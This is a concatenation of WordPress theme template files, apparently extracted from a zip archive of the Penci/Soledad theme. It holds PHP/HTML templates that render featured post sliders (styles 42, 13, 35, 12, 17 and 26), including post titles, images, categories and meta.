						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\"I)YK  K     inc/featured_slider/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                        <?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										
                                        <?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\u6t       inc/featured_slider/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-slider-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 3 == 1 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\o       inc/featured_slider/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\A       inc/featured_slider/style-12.phpnu [        <?php
/**
 * Template part for Slider Style 12
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\s       inc/featured_slider/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile );
				if ( $i % 5 == 3 ) {
                    $bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_mobile );
                }
				?>

				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\|       inc/featured_slider/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-thumb-square';

$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
